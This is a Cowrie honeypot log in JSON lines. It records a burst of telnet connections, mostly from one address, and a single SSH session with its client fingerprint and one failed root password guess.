{"eventid":"cowrie.session.closed","duration":120.00074601173401,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:01.471796Z","src_ip":"174.142.104.49","session":"8b5c351d39d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59658,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b6fb3ae4f33","protocol":"telnet","message":"New connection: 174.142.104.49:59658 (159.203.135.109:23) [session: 4b6fb3ae4f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:01.567960Z"}
{"eventid":"cowrie.session.closed","duration":30.654775857925415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:01.757559Z","src_ip":"174.142.104.49","session":"369c1a97a9c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.164825201034546,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:01.825479Z","src_ip":"161.132.53.68","session":"f72fee8b112c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60260,"dst_ip":"159.203.135.109","dst_port":23,"session":"177d0bb51ddf","protocol":"telnet","message":"New connection: 174.142.104.49:60260 (159.203.135.109:23) [session: 177d0bb51ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:01.896895Z"}
{"eventid":"cowrie.session.closed","duration":31.438836097717285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:01.962432Z","src_ip":"174.142.104.49","session":"63d843bcf0ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55484,"dst_ip":"159.203.135.109","dst_port":23,"session":"faaad9478b96","protocol":"telnet","message":"New connection: 174.142.104.49:55484 (159.203.135.109:23) [session: faaad9478b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:02.053441Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60548,"dst_ip":"159.203.135.109","dst_port":23,"session":"5efbe7bbf7fd","protocol":"telnet","message":"New connection: 174.142.104.49:60548 (159.203.135.109:23) [session: 5efbe7bbf7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:02.085349Z"}
{"eventid":"cowrie.session.closed","duration":120.00233578681946,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:02.184630Z","src_ip":"174.142.104.49","session":"4555e1f4a312","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60788,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9770f1b66e0","protocol":"telnet","message":"New connection: 174.142.104.49:60788 (159.203.135.109:23) [session: d9770f1b66e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:02.212948Z"}
{"eventid":"cowrie.session.closed","duration":31.02721357345581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:02.476330Z","src_ip":"174.142.104.49","session":"d6d2f07fa9b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53786587715149,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:02.682639Z","src_ip":"174.142.104.49","session":"bba716297362","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51474,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e3fab1cc5e6","protocol":"telnet","message":"New connection: 174.142.104.49:51474 (159.203.135.109:23) [session: 7e3fab1cc5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:02.729947Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58362,"dst_ip":"159.203.135.109","dst_port":23,"session":"81cee1b55ab7","protocol":"telnet","message":"New connection: 174.142.104.49:58362 (159.203.135.109:23) [session: 81cee1b55ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:02.889716Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":47766,"dst_ip":"159.203.135.109","dst_port":22,"session":"645b5d9851a8","protocol":"ssh","message":"New connection: 165.154.6.69:47766 (159.203.135.109:22) [session: 645b5d9851a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:02.921657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:02.930003Z","src_ip":"165.154.6.69","session":"645b5d9851a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.65296220779419,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:02.956794Z","src_ip":"174.142.104.49","session":"a042a529d862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53584,"dst_ip":"159.203.135.109","dst_port":23,"session":"92eca960bb8c","protocol":"telnet","message":"New connection: 174.142.104.49:53584 (159.203.135.109:23) [session: 92eca960bb8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:03.002328Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55424,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc3db7e9ed5b","protocol":"telnet","message":"New connection: 174.142.104.49:55424 (159.203.135.109:23) [session: dc3db7e9ed5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:03.017817Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45308,"dst_ip":"159.203.135.109","dst_port":23,"session":"404b6182041c","protocol":"telnet","message":"New connection: 161.132.53.68:45308 (159.203.135.109:23) [session: 404b6182041c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:03.041941Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:03.144233Z","src_ip":"165.154.6.69","session":"645b5d9851a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48696,"dst_ip":"159.203.135.109","dst_port":23,"session":"41f92af27ef9","protocol":"telnet","message":"New connection: 174.142.104.49:48696 (159.203.135.109:23) [session: 41f92af27ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:03.210162Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60792,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8dd88145e51","protocol":"telnet","message":"New connection: 174.142.104.49:60792 (159.203.135.109:23) [session: f8dd88145e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:03.220819Z"}
{"eventid":"cowrie.session.closed","duration":31.002005100250244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:03.496070Z","src_ip":"174.142.104.49","session":"269d3bc87eae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.933377742767334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:03.541443Z","src_ip":"174.142.104.49","session":"15977b747e7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.643206119537354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:03.686118Z","src_ip":"174.142.104.49","session":"99f37d80b915","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56518,"dst_ip":"159.203.135.109","dst_port":23,"session":"aee874bafb42","protocol":"telnet","message":"New connection: 174.142.104.49:56518 (159.203.135.109:23) [session: aee874bafb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:03.785578Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Linux@2024","message":"login attempt [root/Linux@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.031900Z","src_ip":"165.154.6.69","session":"645b5d9851a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35692,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9b583fc937a","protocol":"telnet","message":"New connection: 174.142.104.49:35692 (159.203.135.109:23) [session: c9b583fc937a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.056267Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35804,"dst_ip":"159.203.135.109","dst_port":23,"session":"a17771b97c7e","protocol":"telnet","message":"New connection: 174.142.104.49:35804 (159.203.135.109:23) [session: a17771b97c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.080896Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35908,"dst_ip":"159.203.135.109","dst_port":23,"session":"7780dd653a20","protocol":"telnet","message":"New connection: 174.142.104.49:35908 (159.203.135.109:23) [session: 7780dd653a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.148187Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57238,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d8e4ea7fa46","protocol":"telnet","message":"New connection: 174.142.104.49:57238 (159.203.135.109:23) [session: 4d8e4ea7fa46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.204645Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51968,"dst_ip":"159.203.135.109","dst_port":23,"session":"da59b986320e","protocol":"telnet","message":"New connection: 174.142.104.49:51968 (159.203.135.109:23) [session: da59b986320e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.233892Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36074,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4bc848d8189","protocol":"telnet","message":"New connection: 174.142.104.49:36074 (159.203.135.109:23) [session: e4bc848d8189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.247256Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36492,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2be0affc295","protocol":"telnet","message":"New connection: 174.142.104.49:36492 (159.203.135.109:23) [session: f2be0affc295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.524306Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45310,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c3b544b3980","protocol":"telnet","message":"New connection: 161.132.53.68:45310 (159.203.135.109:23) [session: 5c3b544b3980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.555386Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36680,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e4ebb445464","protocol":"telnet","message":"New connection: 174.142.104.49:36680 (159.203.135.109:23) [session: 7e4ebb445464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.596700Z"}
{"eventid":"cowrie.session.closed","duration":30.58857536315918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.609555Z","src_ip":"174.142.104.49","session":"f42dd67d40c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.561970233917236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.737843Z","src_ip":"174.142.104.49","session":"73fb11fdf178","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863610982894897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.745854Z","src_ip":"174.142.104.49","session":"dcd5ccd376b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064430236816406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:04.769296Z","src_ip":"174.142.104.49","session":"359ae9a23495","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35560,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8857b0562f6","protocol":"telnet","message":"New connection: 174.142.104.49:35560 (159.203.135.109:23) [session: a8857b0562f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:05.004910Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60466,"dst_ip":"159.203.135.109","dst_port":23,"session":"093d3c325b7c","protocol":"telnet","message":"New connection: 174.142.104.49:60466 (159.203.135.109:23) [session: 093d3c325b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:05.039149Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35826,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4e8c16cb4b1","protocol":"telnet","message":"New connection: 174.142.104.49:35826 (159.203.135.109:23) [session: d4e8c16cb4b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:05.087601Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:05.248534Z","src_ip":"165.154.6.69","session":"645b5d9851a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45312,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b1437b12832","protocol":"telnet","message":"New connection: 161.132.53.68:45312 (159.203.135.109:23) [session: 1b1437b12832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:05.451635Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36406,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc2b455635a8","protocol":"telnet","message":"New connection: 174.142.104.49:36406 (159.203.135.109:23) [session: dc2b455635a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:05.514188Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38364,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dc1da807deb","protocol":"telnet","message":"New connection: 174.142.104.49:38364 (159.203.135.109:23) [session: 3dc1da807deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:05.607255Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38564,"dst_ip":"159.203.135.109","dst_port":23,"session":"26914af2341b","protocol":"telnet","message":"New connection: 174.142.104.49:38564 (159.203.135.109:23) [session: 26914af2341b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:05.703603Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38582,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a25aef97f41","protocol":"telnet","message":"New connection: 174.142.104.49:38582 (159.203.135.109:23) [session: 4a25aef97f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:05.711970Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38856,"dst_ip":"159.203.135.109","dst_port":23,"session":"44359371d6cc","protocol":"telnet","message":"New connection: 174.142.104.49:38856 (159.203.135.109:23) [session: 44359371d6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:05.904096Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35714,"dst_ip":"159.203.135.109","dst_port":23,"session":"62138c2fb7d7","protocol":"telnet","message":"New connection: 174.142.104.49:35714 (159.203.135.109:23) [session: 62138c2fb7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:06.057575Z"}
{"eventid":"cowrie.session.closed","duration":31.489971160888672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:06.063395Z","src_ip":"174.142.104.49","session":"f9bb1ac2b394","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39739,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b9877436cc0","protocol":"telnet","message":"New connection: 174.142.104.49:39739 (159.203.135.109:23) [session: 1b9877436cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:06.443563Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40006,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6ab11aea5c2","protocol":"telnet","message":"New connection: 174.142.104.49:40006 (159.203.135.109:23) [session: b6ab11aea5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:06.548596Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40440,"dst_ip":"159.203.135.109","dst_port":23,"session":"29e93c5e156b","protocol":"telnet","message":"New connection: 174.142.104.49:40440 (159.203.135.109:23) [session: 29e93c5e156b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:06.817882Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35216,"dst_ip":"159.203.135.109","dst_port":23,"session":"770f63bc55a3","protocol":"telnet","message":"New connection: 174.142.104.49:35216 (159.203.135.109:23) [session: 770f63bc55a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:06.825502Z"}
{"eventid":"cowrie.session.closed","duration":30.927766799926758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:06.932003Z","src_ip":"174.142.104.49","session":"b1451bfd2773","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40840,"dst_ip":"159.203.135.109","dst_port":23,"session":"c56557c2ac58","protocol":"telnet","message":"New connection: 174.142.104.49:40840 (159.203.135.109:23) [session: c56557c2ac58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:07.062932Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39366,"dst_ip":"10.17.0.5","dst_port":23,"session":"10fd7564e09b","protocol":"telnet","message":"New connection: 104.245.105.2:39366 (10.17.0.5:23) [session: 10fd7564e09b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:07.211416Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41066,"dst_ip":"159.203.135.109","dst_port":23,"session":"4070867134c2","protocol":"telnet","message":"New connection: 174.142.104.49:41066 (159.203.135.109:23) [session: 4070867134c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:07.215518Z"}
{"eventid":"cowrie.session.closed","duration":30.924382209777832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:07.223610Z","src_ip":"174.142.104.49","session":"2fc49b62f88d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34446,"dst_ip":"159.203.135.109","dst_port":23,"session":"51cc94a23340","protocol":"telnet","message":"New connection: 174.142.104.49:34446 (159.203.135.109:23) [session: 51cc94a23340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:07.433587Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40194,"dst_ip":"159.203.135.109","dst_port":23,"session":"c00528eeda0f","protocol":"telnet","message":"New connection: 174.142.104.49:40194 (159.203.135.109:23) [session: c00528eeda0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:07.641576Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40244,"dst_ip":"159.203.135.109","dst_port":23,"session":"43ff09b05148","protocol":"telnet","message":"New connection: 174.142.104.49:40244 (159.203.135.109:23) [session: 43ff09b05148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:07.675542Z"}
{"eventid":"cowrie.session.closed","duration":0.6133885383605957,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:07.824539Z","src_ip":"104.245.105.2","session":"10fd7564e09b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40778,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eebf1159dfc","protocol":"telnet","message":"New connection: 174.142.104.49:40778 (159.203.135.109:23) [session: 8eebf1159dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:08.015851Z"}
{"eventid":"cowrie.session.closed","duration":31.384629487991333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:08.161930Z","src_ip":"174.142.104.49","session":"aa5a3b0182ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41586,"dst_ip":"159.203.135.109","dst_port":23,"session":"21bad00deb0f","protocol":"telnet","message":"New connection: 174.142.104.49:41586 (159.203.135.109:23) [session: 21bad00deb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:08.548320Z"}
{"eventid":"cowrie.session.closed","duration":30.441320657730103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:08.575476Z","src_ip":"174.142.104.49","session":"d7d077e8a91d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42892,"dst_ip":"159.203.135.109","dst_port":23,"session":"6206f9720682","protocol":"telnet","message":"New connection: 174.142.104.49:42892 (159.203.135.109:23) [session: 6206f9720682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:08.585461Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40368,"dst_ip":"159.203.135.109","dst_port":23,"session":"deea7a7fcb65","protocol":"telnet","message":"New connection: 174.142.104.49:40368 (159.203.135.109:23) [session: deea7a7fcb65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:08.777457Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38820,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba46fa75bb20","protocol":"telnet","message":"New connection: 174.142.104.49:38820 (159.203.135.109:23) [session: ba46fa75bb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:08.866245Z"}
